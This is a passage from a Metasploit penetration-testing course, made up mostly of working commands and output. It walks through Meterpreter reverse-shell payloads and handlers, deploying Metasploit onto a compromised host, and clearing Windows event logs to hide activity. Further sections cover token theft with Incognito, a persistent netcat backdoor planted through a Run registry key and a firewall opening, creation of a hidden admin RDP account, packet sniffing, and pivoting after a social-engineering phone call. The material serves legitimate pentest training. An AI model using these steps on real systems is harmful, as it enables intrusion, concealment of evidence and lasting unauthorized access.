follow the same steps as mentioned above. Something to mention is that macros are pretty much disabled by default in both home and corporate environments, so you would either have to entice them to enable macros or hope that they enable them to view the entire document properly. This is where having the script embedded in a document containing an embedded Flash game comes in handy. Metasploit as a Payload Mubix from room362.com released a great ruby script for delivering Metasploit to an already compromised system that allows you to essentially run Metasploit from the victims machine and continue exploitation. There are many scenarios where this would be extremely beneficial, the most important one would be that you're doing a pentest and gain inside access with a Meterpreter console. From there you deliver Metasploit as a payload and continue exploitation on the internal network. Why is this important? Primarily for stealth as the more connections you have going out of the perimeter, the more chance you have of getting caught. With this payload, it allows you to have the connections originate and go to the first machine you compromised. This also helps if you lose a connection as you only have to have one machine set to call back which we will show you how to do later in the course. First things first, you would need to download the ruby script and place it in the 'plugins' folder. Download deploymsf.rb from here ./msf/deploymsf.rb Next, you will need to download the Cygwin version of the Metasploit Framework. You have two options, the ENTIRE Metasploit Framework or just msfconsole. The pros and cons are large-sized payload delivery of 13megs if you do the full version and only 5 megs with just msfconsole. Full Metasploit Cygwin: https://metasploit.com/framework-3.3-dev.exe Only msfconsole: https://metasploit.com/mini-3.3-dev.exe If you use the default path in the ruby script, you'll want to move the framework-3.3-dev.exe to /tmp/ on your linux machine or specify the "-d" option with the full directory of where you have put the Cygwin installer. Also, note that the default executable name is framework-3.3-dev.exe, if you're using the mini-3.3-dev.exe make sure you use the '-f' option and specify the filename. root@bt4:/pentest/exploits/framework3/plugins# wget http://www.room362.com/tools/deploymsf.rb --2009-06-27 12:10:05-- http://www.room362.com/tools/deploymsf.rb Resolving www.room362.com... 66.197.106.2 Connecting to www.room362.com|66.197.106.2|:80... connected. Length: 4227 (4.1K) [text/plain] Saving to: `deploymsf.rb' 100%[======================================>] 4,227 --.-K/s in 0.004s 2009-06-27 12:10:05 (1.07 MB/s) - `deploymsf.rb' saved [4227/4227] We now have everything ready with our mini-3.3-dev.exe ready to go. Once we get a Meterpreter console, we have a few commands to issue so let's take a peek. meterpreter > run deploymsf -f mini-3.3-dev.exe -d /tmp/ [*] Running Meterpreter MSFp Deployment Script..... [*] Uploading MSFp for for deployment.... [*] MSFp uploaded as C:DOCUME~1bt4LOCALS~1Temp19211.exe [*] Installing MSFp........... [*] Done! [*] Installation Complete! [*] Running cygwin shell channelized... [*] Channel 19 created - Type: interact 19 to play [*] Be warned, it takes a bit for post setup to happen [*] and you will not see a prompt, try pwd to check meterpreter > interact 19 Interacting with channel 19... [*] Configuring multi-user permissions for first run... [*] Configuring the initial user environment... pwd /home/bt4 ls *** Metasploit only has EXPERIMENTAL support for Ruby 1.9.1 and newer, things may break! *** Please report bugs to msfdev[at]metasploit.com [-] *** [-] * WARNING: No database support: LoadError no such file to load -- active_record | | _) | __ `__ _ __| _` | __| __ | _ | __| | | | __/ | ( |__ | | | ( | | | _| _| _|___|__|__,_|____/ .__/ _|___/ _|__| _| =[ metasploit v3.3-rc1 [core:3.3 api:1.0] + -- -=[ 379 exploits - 231 payloads + -- -=[ 20 encoders - 7 nops We now have a fully interactive exploitation framework working on our victims machine and can further penetrate the network. Great stuff! Setting up your Environment There are a few things you need to keep in mind when creating a new meterpreter script. * Not all versions of Windows are the same * Some versions of Windows have security countermeasures for some of the commands * Not all command line tools are in all versions of Windows. * Some of the command line tools switches vary depending on the version of Windows In short, the same constraints that you have when working with standard exploitation methods. MSF can be of great help, but it can't change the fundamentals of that target. Keeping this in mind can save a lot of frustration down the road. So keep your target's Windows version and service pack in mind, and build to it. For our purposes, we are going to create a stand alone binary that will be run on the target system that will create a reverse Meterpreter shell back to us. This will rule out any problems with an exploit as we work through our script development. root@bt4:~# cd /pentest/exploits/framework3/ root@bt4:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.184 X > Meterpreter.exe Length: 310 Options: LHOST=192.168.1.184 Wonderful. Now, we move the executable to our Windows machine that will be our target for the script we are going to write. We just have to set up our listener. To do this, lets create a short script to start up multi-handler for us. root@bt4:/pentest/exploits/framework3# touch meterpreter.rc root@bt4:/pentest/exploits/framework3# echo use exploit/multi/handler >> meterpreter.rc root@bt4:/pentest/exploits/framework3# echo set PAYLOAD windows/meterpreter/reverse_tcp >> meterpreter.rc root@bt4:/pentest/exploits/framework3# echo set LHOST 192.168.1.184 >> meterpreter.rc root@bt4:/pentest/exploits/framework3# echo set ExitOnSession false >> meterpreter.rc root@bt4:/pentest/exploits/framework3# echo exploit -j -z >> meterpreter.rc root@bt4:/pentest/exploits/framework3# cat meterpreter.rc use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.184 set ExitOnSession false exploit -j -z Here we are using the exploit multi handler to receive our payload, we specify that the payload is a Meterpreter reverse_tcp payload, we set the payload option, we make sure that the multi handler will not exit once it receives a session since we might need to re-establish one due to an error or we might be testing under different versions of Windows from different target hosts. While working on the scripts, we will save the test scripts to /pentest/exploits/framework3/scripts/meterpreter so that they can be run. Now, all that remains is to start up msfconsole with our our resource script. root@bt4:/pentest/exploits/framework3# ./msfconsole -r meterpreter.rc + -- --=[ 384 exploits - 231 payloads =[ 161 aux resource> use exploit/multi/handler resource> set PAYLOAD windows/meterpreter/reverse_tcp resource> set LHOST 192.168.1.184 LHOST => 192.168.1.184 resource> set ExitOnSession false resource> exploit -j -z [*] Starting the payload handler...> As can be seen above, Metasploit is listening for a connection. We can now execute our executable in our Windows host and we will receive a session. Once the session is established, we use the sessions command with the '-i' switch and the number of the session to interact with it: [*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.104:1043) Event Log Management Sometimes it's best to not have your activities logged. Whatever the reason, you may find a circumstance where you need to clear away the windows event logs. Looking at the source for the winenum script, located in 'scripts/meterpreter', we can see the way this function works. def clrevtlgs(session) evtlogs = [ 'security', 'system', 'application', 'directory service', 'dns server', 'file replication service' ] print_status("Clearing Event Logs, this will leave and event 517") begin evtlogs.each do |evl| print_status("tClearing the #{evl} Event Log") log = session.sys.eventlog.open(evl) log.clear end print_status("Alll Event Logs have been cleared") rescue ::Exception => e print_status("Error clearing Event Log: #{e.class} #{e}") Let's look at a scenario where we need to clear the event log, but instead of using a premade script to do the work for us, we will use the power of the ruby interpreter in Meterpreter to clear the logs on the fly. First, let's see our Windows 'System' event log. Now, let's exploit the system and manually clear away the logs. We will model our command off of the winenum script. Running 'log = client.sys.eventlog.open('system')' will open up the system log for us. msf exploit(warftpd_165_user) > exploit [*] Connecting to FTP server 172.16.104.145:21... [*] Connected to target FTP server. [*] Trying target Windows 2000 SP0-SP4 English... [*] Meterpreter session 2 opened (172.16.104.130:4444 -> 172.16.104.145:1246) meterpreter > irb [*] Starting IRB shell [*] The 'client' variable holds the meterpreter client >> log = client.sys.eventlog.open('system') => #<#:0xb6779424 @client=#>, #>, # "windows/browser/facebook_extractiptc"=>#, "windows/antivirus/trendmicro_serverprotect_earthagent"=>#, "windows/browser/ie_iscomponentinstalled"=>#, "windows/exec/reverse_ord_tcp"=>#, "windows/http/apache_chunked"=>#, "windows/imap/novell_netmail_append"=># Now we'll see if we can clear out the log by running 'log.clear'. >> log.clear => #<#:0xb6779424 @client=#>, /trendmicro_serverprotect_earthagent"=>#, "windows/browser/ie_iscomponentinstalled"=>#, "windows/exec/reverse_ord_tcp"=>#, "windows/http/apache_chunked"=>#, "windows/imap/novell_netmail_append"=># Let's see if it worked. Success! We could now take this further, and create our own script for clearing away event logs. # Clears Windows Event Logs evtlogs = [ 'security', ] puts ("Clearing Event Logs, this will leave an event 517") evtlogs.each do |evl| puts ("tClearing the #{evl} Event Log") log = client.sys.eventlog.open(evl) log.clear puts ("All Clear! You are a Ninja!") After writing our script, we place it in /pentest/exploits/framework3/scripts/meterpreter. Then, let's re-exploit the system and see if it works. [*] Meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1253) meterpreter > run clearlogs Clearing Event Logs, this will leave an event 517 Clearing the security Event Log Clearing the system Event Log Clearing the application Event Log Clearing the directory service Event Log Clearing the dns server Event Log Clearing the file replication service Event Log All Clear! You are a Ninja! meterpreter > exit And the only event left in the log on the system is the expected 517. This is the power of Meterpreter. Without much background other than some sample code we have taken from another script, we have created a useful tool to help us cover up our actions. MSF Post Exploitation After working so hard to successfully exploit a system, what do we do next? We will want to gain further access to the targets internal networks by pivoting and covering our tracks as we progress from system to system. A pentester may also opt to sniff packets for other potential victims, edit their registries to gain further information or access, or set up a backdoor to maintain more permanent system access. Utilizing these techniques will ensure that we maintain some level of access and can potentially lead to deeper footholds into the targets trusted infrastructure. Custom Scripts Now that we have a feel for how to use irb to test API calls, let's look at what objects are returned and test basic constructs. Now, no first script would be complete without the standard "Hello World", so lets create a script named "helloworld.rb" and save it to /pentest/exploits/framework3/scripts/meterpreter. root@bt4:~# echo "print_status("Hello World")" > /pentest/exploits/framework3/scripts/meterpreter/helloworld.rb We now execute our script from the console by using the run command. meterpreter > run helloworld [*] Hello World Now, lets build upon this base. We will add a couple of other API calls to the script. Add these lines to the script: print_error("this is an error!") print_line("this is a line") Much like the concept of standard in, standard out, and standard error, these different lines for status, error, and line all serve different purposes on giving information to the user running the script. Now, when we execute our file we get: [-] this is an error! this is a line Final helloworld.rb print_status("Hello World") print_line("This is a line") Wonderful! Let's go a bit further and create a function to print some general information and add error handling to it in a second file. This new function will have the following architecture: def geninfo(session) begin ..... rescue ::Exception => e The use of functions allows us to make our code modular and more re-usable. This error handling will aid us in the troubleshooting of our scripts, so using some of the API calls we covered previously, we could build a function that looks like this: def getinfo(session) sysnfo = session.sys.config.sysinfo runpriv = session.sys.config.getuid print_status("Getting system information ...") print_status("tThe target machine OS is #{sysnfo['OS']}") print_status("tThe computer name is #{'Computer'} ") print_status("tScript running as #{runpriv}") print_error("The following error was encountered #{e}") Let's break down what we are doing here. We define a function named getinfo which takes one paramater that we are placing in a local variable named 'session'. This variable has a couple methods that are called on it to extract system and user information, after which we print a couple of status lines that report the findings from the methods. In some cases, the information we are printing comes out from a hash, so we have to be sure to call the variable correctly. We also have an error handler placed in there that will return what ever error message we might encounter. Now that we have this function, we just have to call it and give it the Meterpreter client session. To call it, we just place the following at the end of our script: getinfo(client) Now we execute the script and we can see the output of it: meterpreter > run helloworld2 [*] Getting system information ... [*] The target machine OS is Windows XP (Build 2600, Service Pack 3). [*] The computer name is Computer [*] Script running as WINXPVM01labuser Final helloworld2.rb print _status("tThe computer name is #{'Computer'} ") rescue ::Exception => e getinfo(client) As you can see, these very simple steps build up to give us the basics for creating advanced Meterpreter scripts. Let's expand on this script to gather more information on our target. Let's create another function for executing commands and printing their output: def list_exec(session,cmdlst) print_status("Running Command List ...") r='' session.response_timeout=120 cmdlst.each do |cmd| print_status "trunning command #{cmd}" r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) print_status("t#{d}") end r.channel.close r.close print_error("Error Running Command #{cmd}: #{e.class} #{e}") Again, lets break down what we are doing here. We define a function that takes two paramaters, the second of which will be a array. A timeout is also established so that the function does not hang on us. We then set up a 'for each' loop that runs on the array that is passed to the function which will take each item in the array and execute it on the system through 'cmd.exe /c', printing the status that is returned from the command execution. Finally, an error handler is established to capture any issues that come up while executing the function. Now we set an array of commands for enumerating the target host: commands = [ "set", "ipconfig /all", "arp -a"] and then call it with the command list_exec(client,commands) With that in place, when we run it we get: meterpreter > run helloworld3 [*] running command set [*] ALLUSERSPROFILE=C:\Documents and Settings\All Users APPDATA=C:\Documents and Settings\P0WN3D\Application Data CommonProgramFiles=C:\Program Files\Common Files COMPUTERNAME=TARGET ComSpec=C:\WINNT\system32\cmd.exe HOMEDRIVE=C: HOMEPATH= LOGONSERVER=TARGET NUMBER_OF_PROCESSORS=1 OS=Windows_NT Os2LibPath=C:\WINNT\system32\os2dll; Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 7 Stepping 6, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0706 ProgramFiles=C:\Program Files PROMPT=$P$G SystemDrive=C: SystemRoot=C:\WINNT TEMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp TMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp USERDOMAIN=TARGET USERNAME=P0WN3D USERPROFILE=C:\Documents and Settings\P0WN3D windir=C:\WINNT [*] running command ipconfig /all Windows 2000 IP Configuration Host Name . . . . . . . . . . . . : target Primary DNS Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : localdomain Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : localdomain Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter Physical Address. . . . . . . . . : 00-0C-29-85-81-55 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes IP Address. . . . . . . . . . . . : 172.16.104.145 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.16.104.2 DHCP Server . . . . . . . . . . . : 172.16.104.254 DNS Servers . . . . . . . . . . . : 172.16.104.2 Primary WINS Server . . . . . . . : 172.16.104.2 Lease Obtained. . . . . . . . . . : Tuesday, August 25, 2009 10:53:48 PM Lease Expires . . . . . . . . . . : Tuesday, August 25, 2009 11:23:48 PM Interface: 172.16.104.145 on Interface 0x1000003 Internet Address Physical Address Type 172.16.104.2 00-50-56-eb-db-06 dynamic 172.16.104.150 00-0c-29-a7-f1-c5 dynamic Final helloworld3.rb print_status "running command #{cmd}" list_exec(client,commands) As you can see, creating custom Meterpreter scripts is not difficult if you take it one step at a time, building upon itself. Just remember to frequently test, and refer back to the source on how various API calls operate. Fun with Incognito Incognito was originally a stand-alone application that allowed you to impersonate user tokens when successfully compromising a system. This was integrated into Metasploit and ultimately into Meterpreter. You can read more about Incognito and how token stealing works via Luke Jennings orignial paper on the subject here: http://labs.mwrinfosecurity.com/publications/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf In a nut shell, tokens are just like web cookies. They are a temporary key that allows you to access the system and network without having to provide credentials each time you access a file. Incognito exploits this the same way cookie stealing works, by replaying that temporary key when asked to authenticate. There are two types of tokens, delegate, and impersonate. Delegate are created for 'interactive' logons, such as logging into the machine, or connecting to it via remote desktop. Impersonate tokens are for 'non-interactive' sessions, such as attaching a network drive, or a domain logon script. The other great things about tokens? They persist until a reboot. When a user logs off, their delegate token is reported as a impersonate token, but will still hold all of the rights of a delegate token. *TIP* File servers are virtual treasure troves of tokens since most file servers are used as network attached drives via domain logon scripts So, once you have a Meterpreter console, you can impersonate valid tokens on the system and become that specific user without ever having to worry about credentials or for that matter even hashes. During a penetration test this is especially useful due to the fact that tokens have the possibility of allowing local and/or domain privilege escalation, enabling you alternate avenues with potentially elevated privileges to multiple systems. First let's load up our favorite exploit, ms08_067_netapi, with a Meterpreter payload. Note that we manually set the target because this particular exploit does not always auto-detect the target properly. Setting it to a known target will ensure the right memory addresses are used for exploitation. msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140 RHOST => 10.211.55.140 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 10.211.55.162 LHOST => 10.211.55.162 msf exploit(ms08_067_netapi) > set LANG english LANG => english 6 Windows 2003 SP1 English (NO NX) 7 Windows 2003 SP1 English (NX) 8 Windows 2003 SP2 English (NO NX) 9 Windows 2003 SP2 English (NX) 10 Windows XP SP2 Arabic (NX) 11 Windows XP SP2 Chinese - Traditional / Taiwan (NX) msf exploit(ms08_067_netapi) > set TARGET 8 target => 8 msf exploit(ms08_067_netapi) > exploit [*] Meterpreter session 1 opened (10.211.55.162:4444 -> 10.211.55.140:1028) We now have a Meterpreter console from which we will begin our incognito token attack. Like priv (hashdump and timestomp) and stdapi (upload, download, etc), incognito is a meterpreter module. We load the module into our meterpreter session by executing the 'use incognito' command. Issuing the 'help' command shows us the variety of options we have for incognito and brief descriptions of each option. meterpreter > use incognito Loading extension incognito...success. meterpreter > help Incognito Commands Command Description ------- ----------- add_group_user Attempt to add a user to a global group with all tokens add_localgroup_user Attempt to add a user to a local group with all tokens add_user Attempt to add a user with all tokens impersonate_token Impersonate specified token list_tokens List tokens available under current user context snarf_hashes Snarf challenge/response hashes for every token What we will need to do first is identify if there are any valid tokens on this system. Depending on the level of access that your exploit provides you are limited in the tokens you are able to view. When it comes to token stealing, SYSTEM is king. As SYSTEM you are allowed to see and use any token on the box. *TIP*: Administrators don't have access to all the tokens either, but they do have the ability to migrate to SYSTEM processes, effectively making them SYSTEM and able to see all the tokens available. meterpreter > list_tokens -u Delegation Tokens Available ======================================== NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM SNEAKS.IN\Administrator Impersonation Tokens Available NT AUTHORITY\ANONYMOUS LOGON We see here that there is a valid Administrator token that looks to be of interest. We now need to impersonate this token in order to assume its privileges. When issuing the 'impersonate_token' command, note the two backslashes in 'SNEAKS.IN\\ Administrator'. This is required as it causes bugs with just one slash. Note also that after successfully impersonating a token, we check our current userID by executing the 'getuid' command. meterpreter > impersonate_token SNEAKS.IN\\Administrator [+] Delegation token available [+] Successfully impersonated user SNEAKS.IN\Administrator Server username: SNEAKS.IN\Administrator Next, lets run a shell as this individual account by running 'execute -f cmd.exe -i -t' from within Meterpreter. The execute -f cmd.exe is telling Metasploit to execute cmd.exe, the -i allows us to interact with the victims PC, and the -t assumes the role we just impersonated through incognito. meterpreter > execute -f cmd.exe -i -t Process 3540 created. C:\WINDOWS\system32>whoami whoami SNEAKS.IN\administrator The result: Success! Interacting with the Registry The Windows registry is a magical place, where with just a few keystrokes you can render a system virtually unusable. So, be very careful on this next section as mistakes can be painful. Meterpreter has some very useful functions for registry interaction. Let's look at the options. meterpreter > reg Usage: reg [command] [options] Interact with the target machine's registry. -d The data to store in the registry value. -h Help menu. -k The registry key path (E.g. HKLM\Software\Foo). -t The registry value type (E.g. REG_SZ). -v The registry value name (E.g. Stuff). COMMANDS: enumkey Enumerate the supplied registry key [-k ] createkey Create the supplied registry key [-k ] deletekey Delete the supplied registry key [-k ] setval Set a registry value [-k -v -d ] deleteval Delete the supplied registry value [-k -v ] queryval Queries the data contents of a value [-k -v ] Here we can see there are various options we can utilize to interact with the remote system. We have the full options of reading, writing, creating, and deleting remote registry entries. These can be used for any number of actions, including remote information gathering. Using the registry, one can find what files have been utilized, web sites visited in Internet Explorer, programs utilized, USB devices utilized, and so on. There is a great quick reference list of these interesting registry entries published by Access Data at http://www.accessdata.com/media/en_US/print/papers/wp.Registry_Quick_Find_Chart.en_us.pdf, as well as any number of internet references worth finding when there is something specific you are looking for. Persistent Netcat Backdoor In this example, instead of looking up information on the remote system, we will be installing a netcat backdoor. This includes changes to the system registry and firewall. First, we must upload a copy of netcat to the remote system. meterpreter > upload /tmp/nc.exe C:\\windows\\system32 [*] uploading : /tmp/nc.exe -> C:\windows\system32 [*] uploaded : /tmp/nc.exe -> C:\windows\system32nc.exe Afterwards, we work with the registry to have netcat execute on start up and listen on port 455. We do this by editing the key 'HKLM\software\microsoft\windows\currentversion\run'. meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run Enumerating: HKLM\software\microsoft\windows\currentversion\run Values (3): VMware Tools VMware User Process quicktftpserver meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 455 -e cmd.exe" Successful set nc. meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc Key: HKLM\software\microsoft\windows\currentversion\Run Name: nc Type: REG_SZ Data: C:\windows\system32\nc.exe -Ldp 455 -e cmd.exe Next, we need to alter the system to allow remote connections through the firewall to our netcat backdoor. We open up an interactive command prompt and use the 'netsh' command to make the changes as it is far less error prone than altering the registry directly. Plus, the process shown should work across more versions of Windows, as registry locations and functions are highly version and patch level dependent. meterpreter > execute -f cmd -i Process 1604 created. C:\Documents and Settings\Jim\My Documents> netsh firewall show opmode Netsh firewall show opmode Domain profile configuration: ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Standard profile configuration (current): Local Area Connection firewall configuration: We open up port 445 in the firewall and double-check that it was set properly. C:\Documents and Settings\Jim\My Documents> netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL Ok. C:\Documents and Settings\Jim\My Documents> netsh firewall show portopening netsh firewall show portopening Port configuration for Domain profile: Port Protocol Mode Name 139 TCP Enable NetBIOS Session Service 445 TCP Enable SMB over TCP 137 UDP Enable NetBIOS Name Service 138 UDP Enable NetBIOS Datagram Service Port configuration for Standard profile: 455 TCP Enable Service Firewall So with that being completed, we will reboot the remote system and test out the netcat shell. root@bt4:/pentest/exploits/framework3# nc -v 172.16.104.128 455 172.16.104.128: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) [172.16.104.128] 455 (?) open C:\Documents and Settings\Jim> dir Directory of C:\Documents and Settings\Jim 05/03/2009 01:43 AM 05/03/2009 01:26 AM 0 ;i 05/12/2009 10:53 PM Desktop Favorites My Documents 05/03/2009 01:43 AM 0 QCY 10/29/2008 03:51 AM Start Menu 05/03/2009 01:25 AM 0 talltelnet.log 05/03/2009 01:25 AM 0 talltftp.log 4 File(s) 0 bytes 6 Dir(s) 35,540,791,296 bytes free C:\Documents and Settings\Jim> Wonderful! In a real world situation, we would not be using such a simple backdoor as this, with no authentication or encryption, however the principles of this process remain the same for other changes to the system, and other sorts of programs one might want to execute on start up. Enabling Remote Desktop Let's look at another situation where Metasploit makes it very easy to backdoor the system using nothing more than built-in system tools. We will utilize Carlos Perez's 'getgui' script, which enables Remote Desktop and creates a user account for you to log into it with. Utilization of this script could not be easier. meterpreter > run getgui -u hax0r -p gibs0n [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator [*] Carlos Perez carlos_perez@darkoperator.com [*] Enabling Remote Desktop [*] RDP is disabled enabling it ... [*] Setting Terminal Services service startup mode [*] The Terminal Services service is not set to auto, changing it to auto ... [*] Opening port in local firewall if necessary [*] Setting user account for logon [*] Adding User: hax0r with Password: gibs0n [*] Adding User: hax0r to local group Remote Desktop Users [*] Adding User: hax0r to local group Administrators [*] You can now login with the created user And we are done! That is it. Lets test the connection to see if it can really be that easy. And here we see that it is. We used the 'rdesktop' command and specified the username and password we want to use for the log in. We then received an error message letting us know a user was already logged into the console of the system, and that if we continue, that user will be disconnected. This is expected behavior for a Windows XP desktop system, so we can see everything is working as expected. Note that Windows Server allows concurrent graphical logons so you may not encounter this warning message. Remember, these sorts of changes can be very powerful. However, use that power wisely, as all of these steps alter the systems in ways that can be used by investigators to track what sort of actions were taken on the system. The more changes that are made, the more evidence you leave behind. Packet Sniffing with Meterpreter During the time of writing the tutorials for this course, H.D. Moore released a new feature for the Metasploit Framework that is very powerful in every regard. Meterpreter now has the capability of packet sniffing the remote host without ever touching the hard disk. This is especially useful if we want to monitor what type of information is being sent, and even better, this is probably the start of multiple auxiliary modules that will ultimately look for sensitive data within the capture files. The sniffer module can store up to 200,000 packets in a ring buffer and exports them in standard PCAP format so you can process them using psnuffle, dsniff, wireshark, etc. We first fire off our remote exploit toward the victim and gain our standard reverse Meterpreter console. msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpeter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 10.211.55.126 msf exploit(ms08_067_netapi) > set RHOST 10.10.1.119 [*] Meterpreter session 1 opened (10.10.1.4:4444 -> 10.10.1.119:1921) From here we initiate the sniffer on interface 1 and start collecting packets. We then dump the sniffer output to /tmp/all.cap. meterpreter > use sniffer Loading extension sniffer...success. Sniffer Commands ================ Command Description ------- ----------- sniffer_dump Retrieve captured packet data sniffer_interfaces List all remote sniffable interfaces sniffer_start Capture packets on a previously opened interface sniffer_stats View statistics of an active capture sniffer_stop Stop packet captures on the specified interface meterpreter > sniffer_interfaces 1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false ) meterpreter > sniffer_start 1 [*] Capture started on interface 1 (200000 packet buffer) meterpreter > sniffer_dump 1 /tmp/all.cap [*] Dumping packets from interface 1... [*] Wrote 19 packets to PCAP file /tmp/all.cap [*] Wrote 199 packets to PCAP file /tmp/all.cap We can now use our favorite parser or packet analysis tool to review the information intercepted. The Meterpreter packet sniffer uses the MicroOLAP Packet Sniffer SDK and can sniff the packets from the victim machine without ever having to install any drivers or write to the file system. The module is smart enough to realize its own traffic as well and will automatically remove any traffic from the Meterpreter interaction. In addition, Meterpreter pipes all information through an SSL/TLS tunnel and is fully encrypted. Pivoting Pivoting is the unique technique of using an instance (also referred to as a 'plant' or 'foothold') to be able to "move" around inside a network. Basically using the first compromise to allow and even aid in the compromise of other otherwise inaccessible systems. In this scenario we will be using it for routing traffic from a normally non-routable network. For example, we are a pentester for Security-R-Us. You pull the company directory and find poor Mary Jo Swanson in Human Resources on Sneaks.IN main website. You call up Mary Swanson and claim you are from the information technology group and you need her to go to this website to patch her computer from "suspicious traffic". She visits your site and you happen to be running the latest Internet Explorer vulnerability. msf > use windows/browser/ms09_002_memory_corruption msf exploit(ms09_002_memory_corruption) > show options SRVHOST 0.0.0.0 yes The local host to listen on. SRVPORT 80 yes The local port to listen on. SSL false no Use SSL URIPATH / no The URI to use for this exploit (default is random) 0 Windows XP SP2-SP3 / Windows Vista SP0 / IE 7 msf exploit(ms09_002_memory_corruption) > set SRVPORT 80 SRVPORT => 80 msf exploit(ms09_002_memory_corruption) > set URIPATH / URIPATH => / msf exploit(ms09_002_memory_corruption) > set PAYLOAD windows/patchupmeterpreter/reverse_tcp PAYLOAD => windows/patchupmeterpreter/reverse_tcp Payload options (windows/patchupmeterpreter/reverse_tcp): msf exploit(ms09_002_memory_corruption) > set LHOST 10.10.1.109 LHOST => 10.10.1.109 msf exploit(ms09_002_memory_corruption) > set LPORT 8080 LPORT => 8080 msf exploit(ms09_002_memory_corruption) > exploit -j msf exploit(ms09_002_memory_corruption) > [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://10.10.10.243:80/ [*] Server started. Our social engineering attack has been successful! Poor Mary Swanson has connected to our website and has unknowingly given us full access to her computer. [*] Local IP: http://10.10.1.109:80/ [*] Sending Internet Explorer 7 Uninitialized Memory Corruption Vulnerability to 10.10.1.104:62238... [*] Uploading DLL (205835 bytes)... [*] Meterpreter session 1 opened (10.10.1.109:8080 -> 10.10.1.104:62239) msf exploit(ms09_002_memory_corruption) > sessions -l Id Description Tunnel -- ----------- ------ 1 Meterpreter 10.10.1.109:8080 -> 10.10.1.104:62239 The question from here is, where do we go next? We have to somehow further gain access and dive deeper into the network. If you noticed, we used a REVERSE Meterpreter payload. Notice the attacking machines IP address is in a different subnet than the victims machine. The victims IP address is 10.211.55.140 and our attacking IP is 10.10.1.109. How can we launch attacks against other systems on the network? If we want to go after another IP address at 10.211.55.128, we need to pivot our attacks and exploit the system. Let's do it. We begin by interacting with the Meterpreter session and making note of our IP address vs the victims IP. We issue the 'route' command to view the available subnets on the victim PC. msf exploit(ms09_002_memory_corruption) > ifconfig [*] exec: ifconfig eth0 Link encap:Ethernet HWaddr 00:0d:29:d9:ec:cc inet addr:10.10.1.109 Bcast:10.10.1.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fee8:ebe7/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:14826 errors:12824 dropped:0 overruns:0 frame:0 TX packets:6634 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:7542708 (7.5 MB) TX bytes:2385453 (2.3 MB) Interrupt:19 Base address:0x2024 msf exploit(ms09_002_memory_corruption) > sessions -i 1 meterpreter > route Network routes ============== Subnet Netmask Gateway ------ ------- ------- 0.0.0.0 0.0.0.0 10.211.55.2 10.211.55.0 255.255.255.0 10.211.55.140 10.211.55.140 255.255.255.255 127.0.0.1 10.255.255.255 255.255.255.255 10.211.55.140 127.0.0.0 255.0.0.0 127.0.0.1 224.0.0.0 240.0.0.0 10.211.55.140 255.255.255.255 255.255.255.255 10.211.55.140 Background session 1? [y/N]y With this valuable information in hand, we add the new route to Metasploit using the subnet and subnet mask of the victim and pointing it to the Meterpreter session number which is '1' in this case. Running the 'route print' command will display the routes available to us. msf exploit(ms09_002_memory_corruption) > route add 10.211.55.0 255.255.255.0 1 msf exploit(ms09_002_memory_corruption) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.211.55.0 255.255.255.0 Session 1 We will now use our newly created route to exploit a system further inside the victim network. msf exploit(ms09_002_memory_corruption) > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set PAYLOAD windows/patchupmeterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set RHOST 10.211.55.128 msf exploit(ms08_067_netapi) > set LPORT 9000 LPORT => 9000 msf exploit(ms08_067_netapi) > set LHOST 10.10.1.109 [*] Fingerprint: Windows 2003 Service Pack 2 - lang:English [*] Selected Target: Windows 2003 SP2 English (NX) [*] Meterpreter session 2 opened (10.10.1.109:9000 -> 10.10.1.104:62260) Background session 2? [y/N]y It certainly appears that we successfully pivoted into the network. Let's confirm that we are where we want to be. msf exploit(ms08_067_netapi) > sessions -l 2 Meterpreter 10.10.1.109:9000 -> 10.10.1.104:62260 msf exploit(ms08_067_netapi) > sessions -i 2 [*] 